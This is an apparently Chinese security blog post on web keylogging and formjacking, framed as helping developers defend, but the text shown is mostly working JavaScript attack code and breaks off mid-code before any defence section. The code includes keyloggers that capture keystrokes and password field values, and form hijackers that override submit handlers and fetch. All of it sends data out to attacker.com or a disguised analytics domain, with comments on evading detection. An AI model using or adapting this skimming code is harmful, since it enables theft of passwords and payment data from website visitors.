> 键盘记录与表单劫持:现代Web安全的隐形杀手 _

键盘记录与表单劫持:现代Web安全的隐形杀手

在当今数字化时代,网络安全已成为每个企业和个人必须面对的重要课题。随着Web应用的普及和复杂化,各种新型攻击手段层出不穷,其中键盘记录与表单劫持作为两种极具隐蔽性的攻击方式,正逐渐成为黑客们的"利器"。本文将深入探讨这两种攻击技术的原理、实现方式、危害以及防御策略,帮助开发者构建更加安全的Web应用。

键盘记录技术剖析

键盘记录(Keylogging)是一种通过监控用户键盘输入来获取敏感信息的技术。在Web安全领域,键盘记录主要分为客户端和服务器端两种实现方式。

客户端键盘记录

客户端键盘记录通常通过JavaScript实现,攻击者通过在目标网站注入恶意脚本,监听用户的键盘事件。以下是一个简单的键盘记录示例:

// 基本的键盘记录器
let loggedKeys = '';

document.addEventListener('keydown', function(event) {
    // 排除功能键,只记录字符键
    if (event.key.length === 1) {
        loggedKeys += event.key;

        // 定期将数据发送到攻击者服务器
        if (loggedKeys.length >= 10) {
            sendToAttacker(loggedKeys);
            loggedKeys = '';
        }
    }
});

function sendToAttacker(data) {
    // 使用Image对象发送数据,避免CSP限制
    const img = new Image();
    img.src = 'https://attacker.com/collect?data=' + encodeURIComponent(data);
}

这种简单的键盘记录器虽然有效,但容易被现代浏览器的安全策略检测到。更高级的攻击者会采用更加隐蔽的技术:

// 高级键盘记录器,避免检测
class StealthKeylogger {
    constructor() {
        this.buffer = [];
        this.lastSendTime = Date.now();
        this.init();
    }

    init() {
        // 使用多种事件类型,增加隐蔽性
        document.addEventListener('keydown', this.handleKey.bind(this));
        document.addEventListener('keyup', this.handleKey.bind(this));
        document.addEventListener('input', this.handleInput.bind(this));

        // 使用MutationObserver监控DOM变化
        this.setupDOMObserver();
    }

    handleKey(event) {
        const keyData = {
            type: event.type,
            key: event.key,
            code: event.code,
            target: this.getTargetInfo(event.target),
            timestamp: Date.now()
        };

        this.buffer.push(keyData);
        this.checkBuffer();
    }

    handleInput(event) {
        if (event.target.type === 'password') {
            const inputData = {
                type: 'input',
                value: event.target.value,
                target: this.getTargetInfo(event.target),
                timestamp: Date.now()
            };

            this.buffer.push(inputData);
            this.checkBuffer();
        }
    }

    getTargetInfo(element) {
        return {
            tagName: element.tagName,
            type: element.type,
            id: element.id,
            name: element.name,
            className: element.className
        };
    }

    checkBuffer() {
        const now = Date.now();
        // 每5秒或缓冲区达到20个事件时发送数据
        if (now - this.lastSendTime > 5000 || this.buffer.length >= 20) {
            this.sendData();
        }
    }

    sendData() {
        if (this.buffer.length === 0) return;

        // 使用更隐蔽的数据发送方式
        fetch('https://legitimate-looking-domain.com/api/analytics', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                userAgent: navigator.userAgent,
                timestamp: Date.now(),
                events: this.buffer
            }),
            mode: 'no-cors'
        }).catch(() => {
            // 静默处理错误,避免引起注意
        });

        this.buffer = [];
        this.lastSendTime = Date.now();
    }

    setupDOMObserver() {
        const observer = new MutationObserver((mutations) => {
            mutations.forEach((mutation) => {
                if (mutation.type === 'childList') {
                    mutation.addedNodes.forEach((node) => {
                        if (node.nodeType === 1) { // Element node
                            this.reattachListeners(node);
                        }
                    });
                }
            });
        });

        observer.observe(document.body, {
            childList: true,
            subtree: true
        });
    }

    reattachListeners(node) {
        // 重新绑定事件监听器,确保动态加载的内容也被监控
        if (node.querySelectorAll) {
            node.querySelectorAll('input, textarea').forEach(element => {
                element.addEventListener('keydown', this.handleKey.bind(this));
                element.addEventListener('input', this.handleInput.bind(this));
            });
        }
    }
}

// 延迟初始化,避免引起怀疑
setTimeout(() => {
    new StealthKeylogger();
}, 3000);

服务器端键盘记录

服务器端键盘记录通常发生在网络传输层面,攻击者通过中间人攻击(Man-in-the-Middle)截获用户与服务器之间的通信。这种攻击更难防范,因为它在用户设备之外进行。

表单劫持技术深度解析

表单劫持(Formjacking)是一种更加直接的数据窃取技术,攻击者通过修改或替换网页中的表单,将用户提交的敏感信息重定向到自己的服务器。

基本表单劫持技术

最简单的表单劫持方式是通过修改表单的action属性:

// 简单的表单劫持
document.querySelectorAll('form').forEach(form => {
    const originalAction = form.action;
    const originalOnsubmit = form.onsubmit;

    form.onsubmit = function(event) {
        // 阻止默认提交
        event.preventDefault();

        // 收集表单数据
        const formData = new FormData(form);
        const data = Object.fromEntries(formData);

        // 发送到攻击者服务器
        fetch('https://attacker.com/steal', {
            method: 'POST',
            body: JSON.stringify(data)
        }).then(() => {
            // 数据窃取成功后,继续正常提交
            if (originalOnsubmit) {
                originalOnsubmit.call(form, event);
            } else {
                form.action = originalAction;
                form.submit();
            }
        });
    };
});

高级表单劫持技术

现代表单劫持技术更加隐蔽和复杂:


// 高级表单劫持类
class AdvancedFormjacker {
    constructor() {
        this.hijackedForms = new Map();
        this.init();
    }

    init() {
        // 监控DOM变化,捕获动态创建的表单
        this.setupDOMObserver();

        // 劫持已有的表单
        this.hijackExistingForms();

        // 劫持fetch和XMLHttpRequest API
        this.hijackAPIs();
    }

    setupDOMObserver() {
        const observer = new MutationObserver((mutations) => {
            mutations.forEach((mutation) => {
                if (mutation.type === 'childList') {
                    mutation.addedNodes.forEach((node) => {
                        if (node.nodeType === 1) {
                            if (node.tagName === 'FORM') {
                                this.hijackForm(node);
                            } else if (node.querySelectorAll) {
                                node.querySelectorAll('form').forEach(form => {
                                    this.hijackForm(form);
                                });
                            }
                        }
                    });
                }
            });
        });

        observer.observe(document.documentElement, {
            childList: true,
            subtree: true
        });
    }

    hijackExistingForms() {
        document.querySelectorAll('form').forEach(form => {
            this.hijackForm(form);
        });
    }

    hijackForm(form) {
        if (this.hijackedForms.has(form)) return;

        const originalSubmit = form.submit;
        const originalAddEventListener = form.addEventListener;

        this.hijackedForms.set(form, {
            originalSubmit,
            originalAddEventListener
        });

        // 重写submit方法
        form.submit = () => {
            this.interceptFormData(form);
            return originalSubmit.call(form);
        };

        // 监控事件监听器
        form.addEventListener = (type, listener, options) => {
            if (type === 'submit') {
                const wrappedListener = (event) => {
                    this.interceptFormData(form);
                    return listener.call(form, event);
                };
                return originalAddEventListener.call(form, type, wrappedListener, options);
            }
            return originalAddEventListener.call(form, type, listener, options);
        };
    }

    interceptFormData(form) {
        const formData = new FormData(form);
        const data = {};

        for (let [key, value] of formData.entries()) {
            data[key] = value;
        }

        // 隐蔽地发送数据
        this.exfiltrateData(data);
    }

    hijackAPIs() {
        // 劫持fetch API
        const originalFetch = window.fetch;
        window.fetch = (...args) => {
            if (args[1] && args[1].body && args[1].method && 
                ['POST', 'PUT'].includes(args[1].method.toUpperCase())) {

                this.interceptRequest(args[0], args[1]);
            }
            return originalFetch.apply(this, args);
        };

        // 劫持XMLHttpRequest

> 文章统计_

字数统计: 计算中...
阅读时间: 计算中...
发布日期: 2025年09月25日
浏览次数: 17 次
评论数量: 0 条
文章大小: 计算中...

> 评论区域 (0 条)_

发表评论

1970-01-01 08:00:00 #
1970-01-01 08:00:00 #
#
Hacker Terminal
root@www.qingsin.com:~$ welcome
欢迎访问 百晓生 联系@msmfws
系统状态: 正常运行
访问权限: 已授权
root@www.qingsin.com:~$